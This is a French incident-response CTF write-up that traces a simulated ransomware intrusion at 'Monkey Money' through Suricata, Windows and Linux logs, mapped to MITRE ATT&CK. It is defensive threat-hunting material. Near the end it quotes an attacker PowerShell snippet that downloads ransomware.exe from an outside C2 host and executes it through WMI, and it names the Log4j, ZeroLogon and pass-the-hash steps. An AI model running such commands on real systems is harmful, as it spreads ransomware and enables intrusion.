# Monkey Money​ Challenge

{% hint style="warning" %}
Ce WU n'est pas tout à fait terminé :), notamment sur les 3 dernières catégories MITRE.
{% endhint %}

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2Fsz2AxvZbLic7hzMbfGCw%2F1695282852511.jpg?alt=media&#x26;token=6342ab5f-9b57-44ec-b82d-035dbbc5b34e" alt="" width="563"><figcaption></figcaption></figure>

## 1️⃣ - Contexte du challenge

🔦 Défi CTF - Alerte aux Threat Hunters ! 🔦\
\
Nous sommes ravis de vous annoncer le lancement d'un nouveau [#blueteam](https://www.linkedin.com/feed/hashtag/?keywords=blueteam\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) [#ctf](https://www.linkedin.com/feed/hashtag/?keywords=ctf\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) en ligne sur notre plateforme Community Malizen ! 💥\
\
Le scénario ➡ Vous êtes un analyste de choc de l'équipe de réponse à incidents, appelé en renfort par Monkey Money, la célèbre start-up en NFT. Leur SI est à l'arrêt complet suite à une attaque. Mais bonne nouvelle, Monkey Money a réussi à extraire une montagne de [#logs](https://www.linkedin.com/feed/hashtag/?keywords=logs\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) pendant la période de l'incident, et c'est là que vous entrez en jeu. Ces données ont été mises à votre disposition grâce à la plateforme de simulation M\&NTIS d'[AMOSSYS](https://www.linkedin.com/company/amossys/), et elles n'attendent que vous pour être analysées ! ❤️❤️❤️\
\
Votre mission, si vous l'acceptez ➡ Utilisez notre plateforme d'analyse de logs pour traquer l'attaque et mettre la main sur ces [#flags](https://www.linkedin.com/feed/hashtag/?keywords=flags\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) le plus vite possible. Etes-vous prêt à relever le défi ?\
\
Mais attendez, ce n'est pas tout ! ➡ Remportez le Nice Flag Trophy 😉 ! Des récompenses exceptionnelles sont en jeu. Pour celles ou ceux qui trouveront tous les flags en un temps record, des cartes cadeaux [zubii](https://www.linkedin.com/company/zubii/).com à gagner ! 🎁\
\
Alors, prêts à relever le défi ? Le compte à rebours est lancé, vous avez jusqu'au 3 octobre pour participer.\
\
[#capturetheflag](https://www.linkedin.com/feed/hashtag/?keywords=capturetheflag\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) [#blueteam](https://www.linkedin.com/feed/hashtag/?keywords=blueteam\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) [#threathunting](https://www.linkedin.com/feed/hashtag/?keywords=threathunting\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) [#incidentresponse](https://www.linkedin.com/feed/hashtag/?keywords=incidentresponse\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) [#loganalysis](https://www.linkedin.com/feed/hashtag/?keywords=loganalysis\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960)

## 2️⃣​ - Contexte du lab

#### Here's what you need to know

In this game scenario developed through M\&NTIS Platform, you must explore logs of the information system of Monkey Money, that has suffered a cyber attack. On January 19th 2023, the information system of the startup stopped working altogether. The employees were no longer able to log on to their workstations. The cause seemed to be that the domain controller was not responding. You are an analyst within the incident response team of the CERTIFLEX company, called to help on this breach. The startup MonkeyMoney was able to extract the different logs of the information system during the presumed period of the attack. The dataset for this challenge has been developed by AMOSSYS through M\&NTIS Platform. It allows simulating an entire corporate network, launching attack scenarios, emulating user actions, etc., all while collecting traces, mainly under the form of network captures (PCAPs) or or system and application logs.

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2F4arP8kOZfoFZklK35G1w%2Fschema.png?alt=media&#x26;token=4424a439-b6f4-4110-b78f-3ed830856ab8" alt=""><figcaption></figcaption></figure>

## 3️⃣​ - Challenge

### On a quoi à notre disposition ?

* 400 Mo de Logs
* Des événements linux
* Des événements windows
* Des événements suricata

| Exemple key:value linux                                                                                                                                                                                                                                                       | Exemple key:value windows                                                                                                                                                                                                                                               |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p></p><p><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FpPB8PPMDMQQSkODotIQg%2Fnux.png?alt=media&#x26;token=3a773d68-0d33-46bc-ab3f-bde55de3ff7a" alt="" data-size="original"></p><p></p> | <p></p><p><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FvAaKC06PgYW1iPn9Vvqe%2Fdows.png?alt=media&#x26;token=c79c1cb0-bcfe-4238-9749-7f748d21e6df" alt="" data-size="original"></p> |

### Début des recherches

Voici ce qu'il faut trouver pour réussir le challenge au début :&#x20;

Oui on est aveugle.

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FTd23ZO7VF6YgLnwaObYw%2Faveugle.png?alt=media&#x26;token=427ff99c-bf2c-4c1d-a42c-acc6059784c1" alt=""><figcaption></figcaption></figure>

Pour la compréhension du WU, voici ce qu'il fallait trouver :

{% hint style="info" %}
Il ne faut pas forcément trouver l'ensemble des artefacts pour réussir le challenge, mais en trouver au moins 1 dans chaque sous catégorie.
{% endhint %}

<table data-full-width="true"><thead><tr><th width="392">Catégorie</th><th width="449.3333333333333">Sous-catégorie</th><th align="center">Artefacts</th></tr></thead><tbody><tr><td>Command and Control - Log4j exploit to gain access to the webserver</td><td><ul><li>Ingress tool transfer</li></ul></td><td align="center">5</td></tr><tr><td>EeExecution &#x26; Ressource Development - Obtaining access to other machines</td><td><ul><li>Command and scripting Interpreter</li><li>Acquire Infrastructure</li><li>Stage Capabilities</li></ul></td><td align="center">3<br>2<br>3</td></tr><tr><td>Discovery - Exploring the network, machines, files, users...</td><td><ul><li>System service discovery</li><li>File and directory discovery</li><li>Account discovery</li><li>Software discovery</li><li>Network service discovery</li><li>Gather victim network information</li></ul></td><td align="center">2<br>2<br>4<br>2<br>2<br>2</td></tr><tr><td>Credential Access &#x26; Lateral Movement - Moving from victim to victim using secrets</td><td><ul><li>OS credential dumping</li><li>Exploitation of remote services</li></ul></td><td align="center">1</td></tr><tr><td>Lateral Movement - Moving to the final target</td><td><ul><li>Remote services - Windows remote management</li></ul></td><td align="center">1</td></tr><tr><td>Impact - Launching the final attack: the ransomware</td><td><ul><li>Data encrypted for impact</li></ul></td><td align="center">1</td></tr></tbody></table>

### Command and Control - Log4j exploit to gain access to the webserver

#### Ingress tool transfer

{% embed url="<https://attack.mitre.org/techniques/T1105/>" %}

En regardant le schéma, on remarque qu'un des points d'entrée sur le SI est le webserver (192.168.101.3) exposé via la DMZ. Je place donc les filtres suivants :&#x20;

* destination.ip = 192.168.101.3
* destination.port = 80
* destination.port = 8080
* source.ip = 192.168.40.1

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FbLUzeVEromyVVwA3tGN7%2Fstep1.png?alt=media&#x26;token=666fab0e-3c63-463a-945c-a60f49d6f786" alt=""><figcaption></figcaption></figure>

On découvre sur la card "event.original", un log suricata avec comme signature "ET EXPLOIT Apache log4j RCE Attempt - lower/upper TCP Bypass M1 (CVE-2021-44228)".

On peut apporter plus de détail en ajoutant les cards "file.target\_path" et "http.request.method" :

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FXQ3mIn0rTJxiekxGq6AX%2Fstep1.1.png?alt=media&#x26;token=ca78d355-3dc6-4c2e-9af7-67a3906755ea" alt=""><figcaption></figcaption></figure>

On note aussi l'heure : 2023-01-19T14:02:44

***

### Execution & Ressource Development - Obtaining access to other machines

#### Command and scripting Interpreter

{% embed url="<https://attack.mitre.org/techniques/T1623/>" %}

On estime que l'exploit de l'attaquant a réussi. Par conséquent, log4j lui confère un accès en ligne de commande sur le serveur. On peut maintenir filtrer en ip source sur le webserver et en utilisant la card "vulnerability.category" de suricata avec la valeur "Potentially Bad Traffic" :&#x20;

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FH5YqvMVMa0FJTzh2dToh%2Fstep2.png?alt=media&#x26;token=f79261df-478c-47f1-9ac0-8593d3a60411" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FrrR4LU492IBxY7jzk9jQ%2Fstep2.2.png?alt=media&#x26;token=ba9e939c-3471-47d0-9191-2e697ebe6277" alt=""><figcaption></figcaption></figure>

On découvre à 14:02:45 le téléchargement d'un fichier "Main.class", fichier qui va certainement remplacer le "Main.class" de l'application en production sur le serveur et permettre à l'attaquant de prendre la main à distance. De plus, le User-Agent "Java/1.8.0\_102" montre que le téléchargement de ce fichier est bien initié par l'application vulnérable.

Nous avons donc l'IP d'un potentiel C2 : 91.218.114.3 et le nom d'un script pour la suite des événements : payload.ps1

#### Acquire Infrastructure

{% embed url="<https://attack.mitre.org/techniques/T1583/>" %}

L'attaquant récupère donc son fichier payload.ps1 à 14:19:20 avec les droits root depuis webserver :

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FN2jJnKqaoDryL0hEyxso%2Fstep30.png?alt=media&#x26;token=93eebe4a-2c00-4093-849a-12226c531c05" alt=""><figcaption></figcaption></figure>

#### Stage Capabilities

{% embed url="<https://attack.mitre.org/techniques/T1608/>" %}

A partir de l'IP qui a permis à l'attaquant de prendre le main sur le webserver, nous pouvons appliquer un filtre pour connaitre les autres actions qu'il a effectué avec ce serveur.

* destination.ip = 91.218.114.3

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2F2yvwcOGChc0coqpObw0o%2Fstep3.png?alt=media&#x26;token=db3f28d3-346f-4eec-aaf3-17108e9d5362" alt=""><figcaption></figcaption></figure>

On découvre que l'attaquant a téléchargé 5 fichiers en plus de Main.class et payload.ps1 :&#x20;

* set\_empty\_pw\.exe
* rebond.exe
* ransomware.exe
* secretsdump.exe

Plus grave encore, il semble que les machines 192.168.101.5 (NTP) et 192.168.104.2 (AD) ont elle aussi intéragit avec le C2.

***

### Discovery - Exploring the network, machines, files, users

1. <https://attack.mitre.org/techniques/T1007/>
2. <https://attack.mitre.org/techniques/T1083/>
3. <https://attack.mitre.org/techniques/T1087/>
4. <https://attack.mitre.org/techniques/T1518/>
5. <https://attack.mitre.org/techniques/T1046/>
6. <https://attack.mitre.org/techniques/T1590/>

A travers l'étape précédente, on peut voir les fichiers récupérés par les machines :

<table data-full-width="true"><thead><tr><th>Hosts</th><th>IP</th><th>Files</th><th>Datetime</th></tr></thead><tbody><tr><td>WEBSERVER</td><td>192.168.101.3</td><td>Main.class<br>payload.ps1</td><td>14:02:45<br>14:19:20</td></tr><tr><td>NTP</td><td>192.168.101.5</td><td><p>set_empty_pw.exe<br>secretsdump.exe</p><p>rebond.exe</p></td><td>14:47:46<br>14:48:26<br>14:48:44</td></tr><tr><td>DC</td><td>192.168.104.2</td><td>ransomware.exe</td><td>14:59:19</td></tr></tbody></table>

Je commence par analyser ce qu'il c'est passé sur le webserver entre 14h02 et 14h19 car le délai est assez important.

Je filtre en source.ip = 192.168.101.3 pour identifier de nouvelles communications.

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2F6zvkuxCvmJSfKaiBqarE%2Fstep4.png?alt=media&#x26;token=a03ddcbe-4ec4-43b2-a9ce-8469d808fa99" alt=""><figcaption></figcaption></figure>

<table data-full-width="true"><thead><tr><th>IP DST</th><th>Request</th><th>Commentaire</th></tr></thead><tbody><tr><td>91.218.114.2</td><td>HTTP /register (14:02:46)<br>HTTP /actions (14:03:18 à 15:02:27)<br>HTTP /response (14:19:20)<br>HTTP /ack (14:19:20)<br></td><td>Trafic très important +1.8K<br>URL d'un nouveau C2 ?<br>UA = Java/1.8.0_102<br></td></tr><tr><td>91.218.114.3</td><td>HTTP /Main.class (14:02:45)<br>HTTP /payload.ps1 (14:19:20)</td><td>Log4j, point d'entrée</td></tr><tr><td>91.218.114.4</td><td>ET POLICY Anonymous LDAPv3 Bind Request Outbound (14:02:45)</td><td>Log4j exploit</td></tr><tr><td>192.168.101.4</td><td>DNS sans risque</td><td>Seulement des requêtes vers ubuntu.com</td></tr><tr><td>192.168.101.5</td><td>HTTP /update_system.ps1</td><td>Requête HTTP sur un serveur NTP pour récupérer un ps1 ??</td></tr><tr><td>192.168.101.1</td><td>DHCP</td><td>Sans risque</td></tr><tr><td>192.168.105.3</td><td>Logstash</td><td>Sans risque, envoie de logs</td></tr></tbody></table>

On découvre que l'attaquant pilote son attaque depuis 3 IPs. Le serveur qui répond en 91.218.114.2 permet à l'attaquant de passer des actions aux machines infectées.

J'applique un filtre sur source.ip = 91.218.114.2

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FWOLP81pbDhFo8c1x3B5T%2Fstep5.png?alt=media&#x26;token=9d2cf158-cf7e-41dd-ab61-b88743a7a754" alt=""><figcaption></figcaption></figure>

On découvre une nouvelle machine infectée : 192.168.33.12 (CLIENT2) (14:49).

Pour aller plus loin, je filtre sur destination.ip = 192.168.33.12.

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FKUcGv4VO19YWeYyiKA4S%2Fstep6.png?alt=media&#x26;token=6ad422cc-94a2-4567-b51a-0798480f974c" alt=""><figcaption></figcaption></figure>

On découvre que CLIENT2 a lui aussi communiqué avec 192.168.101.5, 192.168.104.2 et le C2.

On peut affirmer que le serveur NTP mène l'attaque par rapport à webserver qui n'a servi que de point d'entrée. Cependant, je suis incapable de déterminer comme celui-ci a été infecté puisque les logs ne montrent rien.

Un petit schéma pour savoir ou on en est :

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2Fd0LaOLJZuWN5lKdPy4mj%2Fschema2.png?alt=media&#x26;token=ffc29d84-1384-40fc-9d5b-21cc77225286" alt=""><figcaption></figcaption></figure>

Je continue la suite des recherches en placant le serveur NTP en source.ip.

Pour rappel, il dispose des fichiers suivant :&#x20;

* set\_empty\_pw\.exe 14:47:46
* secretsdump.exe 14:48:26
* rebond.exe 14:48:44

***

### Credential Access & Lateral Movement - Moving from victim to victim using secrets

#### OS credential dumping

On apprend dans l'article suivant, que le binaire set\_empty\_pw est généralement relié à des exploits ZeroLogon (CVE-2020-1472) :

{% embed url="<https://tzusec.com/tag/set_empty_pw/>" %}

Pour cette vulnérabilité, l'attaquant a simplement besoin du nom de domaine, du nom du DC et de son adresse IP. Avec sa présence sur CLIENT2, il récupère les infos facilement car il est intégré au domaine.

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FiZTRFZLeFlMTLxNMX59S%2Fstep8.png?alt=media&#x26;token=bc1f5887-fec2-4b9b-b245-0b7f8279e8ba" alt=""><figcaption></figcaption></figure>

{% embed url="<https://attack.mitre.org/techniques/T1003/>" %}

Dump des secrets de la base SAM via secretsdump (impacket) présent sur le PC CLIENT2 (14:48:33) :

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FDg08HUPumZZvUvQNRsA7%2Fstep7.png?alt=media&#x26;token=8209348b-b474-478d-b31e-e68c57b644f5" alt=""><figcaption></figcaption></figure>

#### Exploitation of remote services

{% embed url="<https://attack.mitre.org/techniques/T1210/>" %}

14:48:51 rebond.exe - Connexion pass the hash en Administrateur sur l'AD

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FW0fQDHM47xoIthAaGSxc%2Fstep9.png?alt=media&#x26;token=cd827e18-6dc3-4733-b16b-48270a77ec36" alt=""><figcaption></figcaption></figure>

***

### Lateral Movement - Moving to the final target

#### Remote services - Windows remote management

{% embed url="<https://attack.mitre.org/techniques/T1021/006/>" %}

winrm <https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm>

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FCrwSPANJ7IdIYWZHAx4T%2Fstep11.png?alt=media&#x26;token=2d19f107-b9cb-4b9f-b812-1e425c9cde59" alt=""><figcaption></figcaption></figure>

***

### Impact - Launching the final attack: the ransomwae

#### Data encrypted for impact

{% embed url="<https://attack.mitre.org/techniques/T1486/>" %}

Le binaire ransomware.exe est executé via powershell à 14:59:32 sur le controleur de domaine.

{% code title="" fullWidth="true" %}

```powershell

wget http://91.218.114.3/ransomware.exe -Outfile C:\Users\Public\ransomware.exe

Invoke-WmiMethod -path win32_process -name create -argumentlist 'C:\Users\Public\ransomware.exe'

```

{% endcode %}

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FM9VOotu2tvXFlX2f5G7I%2Fstep10.png?alt=media&#x26;token=bbadb4a0-57ea-4a09-a068-f0b5f7539917" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2107662175-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiRb_VTw-Cu3cwSNhHj%2Fuploads%2FbxkBFHMcmZqwHdI8Ly2Q%2Fgame_over.jpg?alt=media&#x26;token=1858ef2e-9b12-4aa4-b118-88095036d02b" alt=""><figcaption></figcaption></figure>

***
